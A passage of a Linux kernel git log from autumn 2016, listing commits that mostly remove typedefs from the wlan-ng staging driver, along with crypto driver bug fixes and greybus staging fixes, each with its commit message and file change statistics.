Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 10 +++++----- drivers/staging/wlan-ng/hfa384x_usb.c | 8 ++++---- 2 files changed, 9 insertions(+), 9 deletions(-) commit e20a7ca18cdccd339e96453522e64b670e9818f8 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:29 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_infofrm_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_infofrm_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 684b2e087fa6ce45f8cfd6e672cf1ee4f24abffa Author: Sergio Paracuellos Date: Wed Sep 28 20:19:28 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_rxfrm_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_rxfrm_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit 94ec5464c7285e3bf01097e158ef5a247d3a41a4 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:27 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_rmemreq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_rmemreq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f0e15d40bb1a6963cb05023d8e64e4237a30d89d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:26 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_wmemreq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_wmemreq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5b9f240e482ea96ea1ebe3387b6f5678d195d2b1 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:25 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_rridreq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_rridreq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3bc070f6537b35945f9d822a34de42d4146222bc Author: Sergio Paracuellos Date: Wed Sep 28 20:19:24 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_wridreq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_wridreq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a6dcbdfe04c039293970b144c5cb6e7ed4168de5 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:23 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_cmdreq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_cmdreq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2f1014f7ce7121bb8508a153c47a4a2906d93ac3 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:22 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_usb_txfrm_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_usb_txfrm_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f69de9e3fc07571f0c05041dafb839274949fe77 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:21 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_InfFrame_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_InfFrame_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 +++--- drivers/staging/wlan-ng/prism2mgmt.h | 2 +- drivers/staging/wlan-ng/prism2sta.c | 48 ++++++++++++++++++------------------ 3 files changed, 29 insertions(+), 29 deletions(-) commit f745ea612a91cd19189ab18940c7e8d370d92f0b Author: Sergio Paracuellos Date: Wed Sep 28 20:19:20 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_infodata_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_infodata_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 44049d81b5ba531418a9a4360e7e6a9599f49527 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:19 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_KeyIDChanged_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_KeyIDChanged_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 013e69ebd682fba2891d24f2e022089aa9b5677c Author: Sergio Paracuellos Date: Wed Sep 28 20:19:18 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_PSUserCount_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_PSUserCount_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b9820e0c4fb736cab991ebd4346fcfc525c5ff3d Author: Sergio Paracuellos Date: Wed Sep 28 20:19:17 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_AuthReq_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_AuthReq_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5383f13eb1fc77a081a7cf81e437e3141c591d36 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:16 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_AssocStatus_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_AssocStatus_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/prism2sta.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit a8eb513929afb38d8ec9f4ed2ab8fa82c7b76c35 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:15 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_LinkStatus_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_LinkStatus_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f8f2821e36903fefc58ec50b8066dd129373b26f Author: Sergio Paracuellos Date: Wed Sep 28 20:19:14 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_HScanResult_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_HScanResult_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b353d11af9a07fbdfe4f98a466bb26405d5aacbb Author: Sergio Paracuellos Date: Wed Sep 28 20:19:13 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_HScanResultSub_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_HScanResultSub_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/prism2mgmt.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit 0fddae8ef86305135d3509953d1311199c5d2137 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:12 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_ChInfoResult_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_ChInfoResult_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 1bc4292aaa07347f0870b6690814b4e0a3a0c281 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:11 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_ChInfoResultSub_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_ChInfoResultSub_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/prism2sta.c | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit dc0bb002b3f2029e55c58a9a26fb49b4dd06e652 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:10 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_ScanResult_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_ScanResult_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/prism2sta.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit 4400334b568dbfb3eb0cabe8fadfd5c43e59ca02 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:09 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_ScanResultSub_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_ScanResultSub_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/prism2sta.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit cfc6cb1fea8c7414e73f4d3cbeb10e0d6e28ed65 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:08 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_CommTallies32_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_CommTallies32_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 ++++---- drivers/staging/wlan-ng/prism2sta.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) commit 07e23b67c53193cfcc8b58184dba017a113cf407 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:07 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_CommTallies16_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_CommTallies16_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 70adf50956a47a2aeb7fa99015ea96f2632c7193 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:06 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_rx_frame_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_rx_frame_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) commit eb76afc917fd7acc8b33061f39d3f1b566b7c77c Author: Sergio Paracuellos Date: Wed Sep 28 20:19:05 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_tx_frame_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_tx_frame_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- drivers/staging/wlan-ng/hfa384x_usb.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit 62e493c4540a775becfeca1fb7b8c613adc14abe Author: Sergio Paracuellos Date: Wed Sep 28 20:19:04 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_dbmcommsquality_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_dbmcommsquality_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a1e950452be0d90c8e2c7593a825e35666073378 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:03 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_commsquality_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_commsquality_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b71db7404d576f6edde5282b638c905f0f21aedc Author: Sergio Paracuellos Date: Wed Sep 28 20:19:02 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_downloadbuffer_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_downloadbuffer_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a2a4480370d22d1a4d24a86a5f9f2c984305bb04 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:01 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_WPAData_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_WPAData_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/prism2mib.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 17fb19f022ec36007567ad40bcef42d812cf24e0 Author: Sergio Paracuellos Date: Wed Sep 28 20:19:00 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_authenticateStation_data_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_authenticateStation_data_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/prism2sta.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit f0ffa0e2a01904764700afa681ba30f7db051e03 Author: Sergio Paracuellos Date: Wed Sep 28 20:18:59 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_JoinRequest_data_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_JoinRequest_data_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 8 ++++---- drivers/staging/wlan-ng/prism2sta.c | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) commit 935cbfb2bd16404c908c0902fa493939d6190de2 Author: Sergio Paracuellos Date: Wed Sep 28 20:18:58 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_HostScanRequest_data_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_HostScanRequest_data_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 4 ++-- drivers/staging/wlan-ng/prism2mgmt.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 65f170c661d9419db74c6710baaa9df72c1f95b3 Author: Sergio Paracuellos Date: Wed Sep 28 20:18:57 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_caplevel_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_caplevel_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 24 ++++++++++++------------ drivers/staging/wlan-ng/prism2fw.c | 8 ++++---- drivers/staging/wlan-ng/prism2sta.c | 14 +++++++------- 3 files changed, 23 insertions(+), 23 deletions(-) commit 3e27dfa2ce240fb67b722f7e1e9b1c2485a79d60 Author: Sergio Paracuellos Date: Wed Sep 28 20:18:56 2016 +0200 staging: wlang-ng: Fix block comments style warnings in hfa384x.h This patch fixes the following checkpatch.pl warnings in hfa384x.h: WARNING: Block comments use * on subsequent lines WARNING: Block comments use a trailing */ on a separate line Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 166 ++++++++++++++++++++++---------------- 1 file changed, 96 insertions(+), 70 deletions(-) commit 5f04645672c3dabf263939ab0454590e4e18fdff Author: Sergio Paracuellos Date: Wed Sep 28 20:18:55 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_compident_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_compident_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 12 ++++++------ drivers/staging/wlan-ng/prism2fw.c | 6 +++--- drivers/staging/wlan-ng/prism2sta.c | 6 +++--- 3 files changed, 12 insertions(+), 12 deletions(-) commit 03c2975b664297f4954ecedf7c212418a31f083e Author: Sergio Paracuellos Date: Wed Sep 28 20:18:54 2016 +0200 staging: wlang-ng: avoid new typedef: hfa384x_bytestr32_t This patch fixes the following checkpatch.pl warning in hfa384x.h: WARNING: do not add new typedefs It applies for typedef hfa384x_bytestr32_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/hfa384x.h | 10 +++++----- drivers/staging/wlan-ng/prism2sta.c | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) commit b1e42d9f7057d074e6ada45abe003c4d8578bd20 Author: Wayne Porter Date: Fri Sep 30 22:58:44 2016 +0000 staging: android: ion: fix checks found by checkpatch.pl Alignment fixes Signed-off-by: Wayne Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/hisilicon/hi6220_ion.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b4e26d6c06eb70b0d3892bbd40ce43d4ea345c45 Author: Wayne Porter Date: Fri Sep 30 23:12:55 2016 +0000 staging: android: ion: fix warning found by checkpatch.pl Fix checkpatch.pl warning: WARNING: braces {} are not necessary for single statement blocks Signed-off-by: Wayne Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/hisilicon/hi6220_ion.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b19ca1e5f1c35ce7c6da52d45975f025ece1be88 Author: Elizabeth Ferdman Date: Thu Sep 29 15:45:55 2016 -0700 staging: media: replace unsigned with unsigned int Fix checkpatch error "Prefer 'unsigned int' to bare use of 'unsigned'" for readability. Signed-off-by: Elizabeth Ferdman Signed-off-by: Greg Kroah-Hartman drivers/staging/media/davinci_vpfe/dm365_resizer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 42f8f2184bdc980a03cbc61abf53f9a97597d1e9 Author: Moshe Green Date: Sun Oct 2 14:04:46 2016 +0300 staging: sm750fb: replace roundedDiv with DIV_ROUND_CLOSEST Replace local implementation of rounded division (roundedDiv macro) with the in-kernel implementation (DIV_ROUND_CLOSEST macro) in ddk750_chip.c Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 35e4d8ca05e87d38fb160cb35ba7c3282192a77b Author: Elizabeth Ferdman Date: Wed Sep 28 14:33:51 2016 -0700 staging: sm750fb: conform to block comment style Fix 2 checkpatch errors: -Block comments use * on subsequent lines, -Block comments use a trailing */ on a separate line to conform to block commenting style. Signed-off-by: Elizabeth Ferdman Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_display.h | 50 ++++++++-------- drivers/staging/sm750fb/ddk750_hwi2c.c | 2 +- drivers/staging/sm750fb/ddk750_mode.c | 27 ++++----- drivers/staging/sm750fb/ddk750_sii164.c | 7 ++- drivers/staging/sm750fb/ddk750_swi2c.c | 12 ++-- drivers/staging/sm750fb/sm750.h | 16 ++--- drivers/staging/sm750fb/sm750_accel.c | 100 ++++++++++++++++++------------- 7 files changed, 113 insertions(+), 101 deletions(-) commit f97581cfa6e7db9818520597b8a44f8268d75013 Author: Tudor Ambarus Date: Fri Sep 30 12:09:39 2016 +0300 crypto: caam - treat SGT address pointer as u64 Even for i.MX, CAAM is able to use address pointers greater than 32 bits, the address pointer field being interpreted as a double word. Enforce u64 address pointer in the sec4_sg_entry struct. This patch fixes the SGT address pointer endianness issue for 32bit platforms where core endianness != caam endianness. Signed-off-by: Tudor Ambarus Signed-off-by: Herbert Xu drivers/crypto/caam/desc.h | 6 ------ drivers/crypto/caam/regs.h | 8 ++++++++ drivers/crypto/caam/sg_sw_sec4.h | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) commit 81422badb39078fde1ffcecda3caac555226fc7b Author: Gary R Hook Date: Wed Sep 28 11:53:56 2016 -0500 crypto: ccp - Make syslog errors human-readable Add human-readable strings to log messages about CCP errors Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 3 +++ drivers/crypto/ccp/ccp-dev-v5.c | 3 +++ drivers/crypto/ccp/ccp-dev.c | 53 +++++++++++++++++++++++++++++++++++++++++ drivers/crypto/ccp/ccp-dev.h | 2 ++ 4 files changed, 61 insertions(+) commit 9ddb9dc6be095ebe393f7eb582df09cc4847c5e9 Author: Gary R Hook Date: Wed Sep 28 11:53:47 2016 -0500 crypto: ccp - clean up data structure Change names of data structure instances. Add const keyword where appropriate. Add error handling path. Signed-off-by: Gary R Hook Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dev-v3.c | 2 +- drivers/crypto/ccp/ccp-dev-v5.c | 9 ++++++--- drivers/crypto/ccp/ccp-dev.h | 6 +++--- drivers/crypto/ccp/ccp-pci.c | 4 ++-- 4 files changed, 12 insertions(+), 9 deletions(-) commit 8df4f27c04c0e061b4b2c142bfbae1602bb1b776 Author: Marcelo Cerri Date: Wed Sep 28 13:42:11 2016 -0300 crypto: vmx - Ensure ghash-generic is enabled Select CRYPTO_GHASH for vmx_crypto since p8_ghash uses it as the fallback implementation. Signed-off-by: Marcelo Cerri Signed-off-by: Herbert Xu drivers/crypto/vmx/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 7bcb87bca2f51226f3ec382fcd3ff52cc15747bb Author: Jan Stancek Date: Wed Sep 28 16:38:37 2016 +0200 crypto: testmgr - add guard to dst buffer for ahash_export Add a guard to 'state' buffer and warn if its consistency after call to crypto_ahash_export() changes, so that any write that goes beyond advertised statesize (and thus causing potential memory corruption [1]) is more visible. [1] https://marc.info/?l=linux-crypto-vger&m=147467656516085 Signed-off-by: Jan Stancek Cc: Herbert Xu Cc: Marcelo Cerri Signed-off-by: Herbert Xu crypto/testmgr.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 3387879524ec07fd9ba371eddd17e717abdd5e4f Author: Arvind Yadav Date: Wed Sep 28 16:01:42 2016 +0530 crypto: caam - Unmap region obtained by of_iomap Free memory mapping, if probe is not successful. Signed-off-by: Arvind Yadav Signed-off-by: Herbert Xu drivers/crypto/caam/jr.c | 1 + 1 file changed, 1 insertion(+) commit 74ff6cb3aa438490ad8f8432e7b68dbcfa5ca449 Author: Marcelo Cerri Date: Fri Sep 23 16:31:56 2016 -0300 crypto: sha1-powerpc - little-endian support The driver does not handle endianness properly when loading the input data. Signed-off-by: Marcelo Cerri Signed-off-by: Herbert Xu arch/powerpc/crypto/sha1-powerpc-asm.S | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 50d2e6dc1f83db0563c7d6603967bf9585ce934b Author: Ondrej Mosnáček Date: Fri Sep 23 10:47:32 2016 +0200 crypto: gcm - Fix IV buffer size in crypto_gcm_setkey The cipher block size for GCM is 16 bytes, and thus the CTR transform used in crypto_gcm_setkey() will also expect a 16-byte IV. However, the code currently reserves only 8 bytes for the IV, causing an out-of-bounds access in the CTR transform. This patch fixes the issue by setting the size of the IV buffer to 16 bytes. Fixes: 84c911523020 ("[CRYPTO] gcm: Add support for async ciphers") Signed-off-by: Ondrej Mosnacek Signed-off-by: Herbert Xu crypto/gcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 80da44c29d997e28c4442825f35f4ac339813877 Author: Marcelo Cerri Date: Wed Sep 28 13:42:10 2016 -0300 crypto: vmx - Fix memory corruption caused by p8_ghash This patch changes the p8_ghash driver to use ghash-generic as a fixed fallback implementation. This allows the correct value of descsize to be defined directly in its shash_alg structure and avoids problems with incorrect buffer sizes when its state is exported or imported. Reported-by: Jan Stancek Fixes: cc333cd68dfa ("crypto: vmx - Adding GHASH routines for VMX module") Cc: stable@vger.kernel.org Signed-off-by: Marcelo Cerri Signed-off-by: Herbert Xu drivers/crypto/vmx/ghash.c | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) commit a397ba829d7f8aff4c90af3704573a28ccd61a59 Author: Marcelo Cerri Date: Wed Sep 28 13:42:09 2016 -0300 crypto: ghash-generic - move common definitions to a new header file Move common values and types used by ghash-generic to a new header file so drivers can directly use ghash-generic as a fallback implementation. Fixes: cc333cd68dfa ("crypto: vmx - Adding GHASH routines for VMX module") Cc: stable@vger.kernel.org Signed-off-by: Marcelo Cerri Signed-off-by: Herbert Xu crypto/ghash-generic.c | 13 +------------ include/crypto/ghash.h | 23 +++++++++++++++++++++++ 2 files changed, 24 insertions(+), 12 deletions(-) commit 5cf62679153ed7014d6952bb6a5094b3ee31428d Author: Rui Miguel Silva Date: Fri Sep 30 18:26:55 2016 +0100 staging: greybus: light: check the correct value of delay_on When checking the value of delay_on to set the channel as active, it was checked the pointer and not the value, as it should be. Fixes: cc43368a3c ("greybus: lights: Control runtime pm suspend/resume on AP side") Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 544a69443bf069fa52b1b3b5e25b682b710210f5 Author: Mark Greer Date: Wed Sep 28 09:34:49 2016 -0700 staging: greybus: Add remaining audio files to maintained list Some Greybus Audio Device Class Protocol driver files are missing in the MAINTAINERS file even though they are maintained so add them. CC: Vaibhav Agarwal Signed-off-by: Mark Greer Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 9 +++++++++ 1 file changed, 9 insertions(+) commit dc875c77900dba5d177f9219492fd60c046feec8 Author: Rui Miguel Silva Date: Fri Sep 30 19:24:33 2016 +0100 staging: greybus: light: check delay_{on|off} before use Even though we trust leds core that the pointers should be valid, we are safer to check delay_{on|off} before use. Also, this avoid a smatch warning: drivers/staging/greybus/light.c:484 gb_blink_set() warn: variable dereferenced before check 'delay_on' (see line 476) Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 3 +++ 1 file changed, 3 insertions(+) commit 3855eeec1a47cace93acd5ff89fb3c9bd593d307 Author: Rui Miguel Silva Date: Fri Sep 30 19:24:32 2016 +0100 staging: greybus: light: fix attributes allocation Fix allocation of attributes with the correct size, this also fix smatch warning: drivers/staging/greybus/light.c:293 channel_attr_groups_set() warn: double check that we're allocating correct size: 8 vs 16 Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 85a42dc8676c2ea15fb44715eef85a7a419254a0 Author: Rui Miguel Silva Date: Fri Sep 30 19:24:31 2016 +0100 staging: greybus: sdio: fix cmd_flags check for none response When checking for command flags field if response is not available we really need to compare it with the right define and not bitwise AND it. smatch warn: drivers/staging/greybus/sdio.c:481 gb_sdio_command() warn: bitwise AND condition is false here 